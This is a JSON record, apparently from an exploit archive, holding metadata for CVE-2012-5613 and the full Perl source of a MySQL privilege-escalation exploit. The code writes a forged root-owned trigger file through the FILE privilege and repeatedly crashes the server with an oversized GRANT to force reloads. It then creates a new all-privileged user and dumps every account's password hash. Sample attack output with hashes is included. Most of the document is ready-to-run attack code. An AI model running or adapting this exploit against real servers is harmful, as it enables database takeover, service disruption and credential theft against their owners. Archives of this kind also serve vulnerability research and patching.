{"exploit":{"id":"EDB-23077","name":"Oracle MySQL (Linux) - Database Privilege Escalation","description":"Oracle MySQL (Linux) - Database Privilege Escalation","cves":["CVE-2012-5613"],"author":"kingcope","published":"2012-12-02","platform":"linux","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23077","path":"exploits/linux/local/23077.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23077.pl","vulnerabilities":[{"id":"CVE-2012-5613","state":"PUBLISHED","title":null,"titleSource":null,"description":"MySQL 5.5.19 and possibly other versions, and MariaDB 5.5.28a and possibly other versions, when configured to assign the FILE privilege to users who should not have administrative privileges, allows remote authenticated users to gain privileges by leveraging the FILE privilege to create files as the MySQL administrator. NOTE: the vendor disputes this issue, stating that this is only a vulnerability when the administrator does not follow recommendations in the product's installation documentation. NOTE: it could be argued that this should not be included in CVE because it is a configuration issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-5613","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-5613"},"updatedAt":"2024-08-06T21:14:16.077Z","retrievedAt":"2026-11-27T12:07:12.318Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23077.png?v=2","url":"https://exploitbin.com/exploits/EDB-23077","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23077/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23077/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"use DBI();\n\n$|=1;\n\n=for comment\n\nMySQL privilege elevation Exploit\nThis exploit adds a new admin user.\nBy Kingcope\n\nTested on\n* Debian Lenny (mysql-5.0.51a)\n* OpenSuSE 11.4 (5.1.53-log)\n\nHow it works:\nThis exploit makes use of several things:\n*The attacker is in possession of a mysql user with 'file' privileges for the target\n*So the attacker can create files on the system with this user (owned by user 'mysql')\n*So the attacker is able to create TRIGGER files for a mysql table\n\ttriggers can be used to trigger an event when a mysql command is executed by the user,\n\tnormally triggers are 'attached' to a user and will be executed with this users privilege.\n\tbecause we can write any contents into the TRG file (the actual trigger file), we write the entry\n\tdescribing the attached user for the trigger as \"root@localhost\" what is the default admin user.\n* We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized.\n  This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn)\n  the trigger file would not be recognized.\n\nSo what the exploit does is:\n* Connect to the MySQL Server\n* Create a table named rootme for the trigger\n* Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG\n* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)\n* INSERT a value into the table so the trigger event gets executed\n* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.\n* Crash the MySQL Server again to force it reload the user configuration\n* Create a new mysql user with all privileges set to enabled\n* Crash again to reload configuration\n* Connect by using the newly created user\n* The new connection has ADMIN access now to all databases in mysql\n* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded\n* As said the user has FULL ACCESS to the database now\n\nRespawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.\n=cut\n\n=for comment\n\nuser created for testing (file privs will minor privileges to only one database):\n\nmysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> create database lessdb\n    -> ;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;\nQuery OK, 0 rows affected (0.02 sec)\n\nmysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;\nQuery OK, 0 rows affected (0.00 sec)\n\nlogin with new unprivileged user:\nmysql> select * from mysql.user;\nERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'\n\n=cut\n\n=for comment\n\nexample attack output:\n\nC:\\Users\\kingcope\\Desktop>perl mysql_privilege_elevation.pl\nselect 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER\nMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`@`localhost` trigger atk after ins\nert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\\n', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_p\nriv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\n\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', Reference\ns_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\n\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\n\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\\n'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_pri\nv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\n\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\',\nmax_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE\nUser=\\\\\\'less3\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root@localhost\\'\\nclient_cs\n_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'lati\nn1_swedish_ci\\'\\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri\nvilege_elevation.pl line 44.\nDBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_\nprivilege_elevation.pl line 50.\nDBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_\nprivilege_elevation.pl line 59.\nW00TW00T!\nFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\nFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\nFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B\nFound a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64\nB02C\nFound a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29\nFound a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B\nFound a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29\nFound a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697\nFound a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7\nFound a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29\nFound a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29\nFound a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC\n\n=cut\n\n$user = \"less10\";\n$password = \"test\";\n$database = \"lessdb10\";\n$target = \"192.168.2.4\";\n$folder = \"/var/lib/mysql/\"; # Linux\n$newuser = \"rootedbox2\";\n$newuserpass = \"rootedbox2\";\n$mysql_version = \"51\"; # can be 51 or 50\n\nif ($mysql_version eq \"50\") {\n$inject =\n\"select 'TYPE=TRIGGERS' into outfile'\".$folder.$database.\"/rootme.TRG' LINES TERMINATED BY '\\\\ntriggers=\\\\'CREATE DEFINER=`root`\\@`localhost` trigger atk after insert on rootme for each row\\\\\\\\nbegin \\\\\\\\nUPDATE mysql.user SET Select_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Insert_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Update_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Delete_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Drop_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Reload_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Shutdown_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Process_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', File_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Grant_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', References_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Index_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Alter_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Show_db_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Super_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_tmp_table_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Lock_tables_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Execute_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Repl_slave_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Repl_client_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_view_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Show_view_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_routine_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Alter_routine_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_user_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', ssl_type=\\\\\\\\\\\\'Y\\\\\\\\\\\\', ssl_cipher=\\\\\\\\\\\\'Y\\\\\\\\\\\\', x509_issuer=\\\\\\\\\\\\'Y\\\\\\\\\\\\', x509_subject=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_questions=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_updates=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_connections=\\\\\\\\\\\\'Y\\\\\\\\\\\\' WHERE User=\\\\\\\\\\\\'$user\\\\\\\\\\\\';\\\\\\\\nend\\\\'\\\\nsql_modes=0\\\\ndefiners=\\\\'root\\@localhost\\\\'\\\\nclient_cs_names=\\\\'latin1\\\\'\\\\nconnection_cl_names=\\\\'latin1_swedish_ci\\\\'\\\\ndb_cl_names=\\\\'latin1_swedish_ci\\\\'\\\\n';\";\n} else {\n$inject =\n\"select 'TYPE=TRIGGERS' into outfile'\".$folder.$database.\"/rootme.TRG' LINES TERMINATED BY '\\\\ntriggers=\\\\'CREATE DEFINER=`root`\\@`localhost` trigger atk after insert on rootme for each row\\\\\\\\nbegin \\\\\\\\nUPDATE mysql.user SET Select_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Insert_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Update_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Delete_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Drop_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Reload_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Shutdown_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Process_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', File_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Grant_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', References_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Index_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Alter_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Show_db_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Super_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_tmp_table_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Lock_tables_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Execute_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Repl_slave_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Repl_client_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_view_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Show_view_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_routine_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Alter_routine_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Create_user_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Event_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', Trigger_priv=\\\\\\\\\\\\'Y\\\\\\\\\\\\', ssl_type=\\\\\\\\\\\\'Y\\\\\\\\\\\\', ssl_cipher=\\\\\\\\\\\\'Y\\\\\\\\\\\\', x509_issuer=\\\\\\\\\\\\'Y\\\\\\\\\\\\', x509_subject=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_questions=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_updates=\\\\\\\\\\\\'Y\\\\\\\\\\\\', max_connections=\\\\\\\\\\\\'Y\\\\\\\\\\\\' WHERE User=\\\\\\\\\\\\'$user\\\\\\\\\\\\';\\\\\\\\nend\\\\'\\\\nsql_modes=0\\\\ndefiners=\\\\'root\\@localhost\\\\'\\\\nclient_cs_names=\\\\'latin1\\\\'\\\\nconnection_cl_names=\\\\'latin1_swedish_ci\\\\'\\\\ndb_cl_names=\\\\'latin1_swedish_ci\\\\'\\\\n';\";\n}\n\nprint $inject;#exit;\n$inject2 =\n\"SELECT 'TYPE=TRIGGERNAME\\\\ntrigger_table=rootme;' into outfile '\".$folder.$database.\"/atk.TRN' FIELDS ESCAPED BY ''\";\n\nmy $dbh = DBI->connect(\"DBI:mysql:database=$database;host=$target;\",\n                       \"$user\", \"$password\",\n                       {'RaiseError' => 0});\neval { $dbh->do(\"DROP TABLE rootme\") };\n$dbh->do(\"CREATE TABLE rootme (rootme VARCHAR(256));\");\n$dbh->do($inject);\n$dbh->do($inject2);\n\n$a = \"A\" x 10000;\n$dbh->do(\"grant all on $a.* to 'user'\\@'%' identified by 'secret';\");\n\nsleep(3);\n\nmy $dbh = DBI->connect(\"DBI:mysql:database=$database;host=$target;\",\n                       \"$user\", \"$password\",\n                       {'RaiseError' => 0});\n\n$dbh->do(\"INSERT INTO rootme VALUES('ROOTED');\");\n$dbh->do(\"grant all on $a.* to 'user'\\@'%' identified by 'secret';\");\n\nsleep(3);\n\nmy $dbh = DBI->connect(\"DBI:mysql:database=$database;host=$target;\",\n                       \"$user\", \"$password\",\n                       {'RaiseError' => 0});\n\n$dbh->do(\"CREATE USER '$newuser'\\@'%' IDENTIFIED BY '$newuserpass';\");\n$dbh->do(\"GRANT ALL PRIVILEGES ON *.* TO '$newuser'\\@'%' WITH GRANT OPTION;\");\n$dbh->do(\"grant all on $a.* to 'user'\\@'%' identified by 'secret';\");\n\nsleep(3);\n\nmy $dbh = DBI->connect(\"DBI:mysql:host=$target;\",\n                       $newuser, $newuserpass,\n                       {'RaiseError' => 0});\n\nmy $sth = $dbh->prepare(\"SELECT * FROM mysql.user\");\n$sth->execute();\n\nprint \"W00TW00T!\\n\";\n\nwhile (my $ref = $sth->fetchrow_hashref()) {\nprint \"Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\\n\";\n}\n$sth->finish();","sha256":"7a1246b8db21828a9b8367cd7a391cdce22b4432a1a4d4975cbf3e03deebd1ac","bytes":10197,"fetchedAt":"2026-11-27T12:07:09.271Z","encoding":"utf-8 (display only; download retains original bytes)"}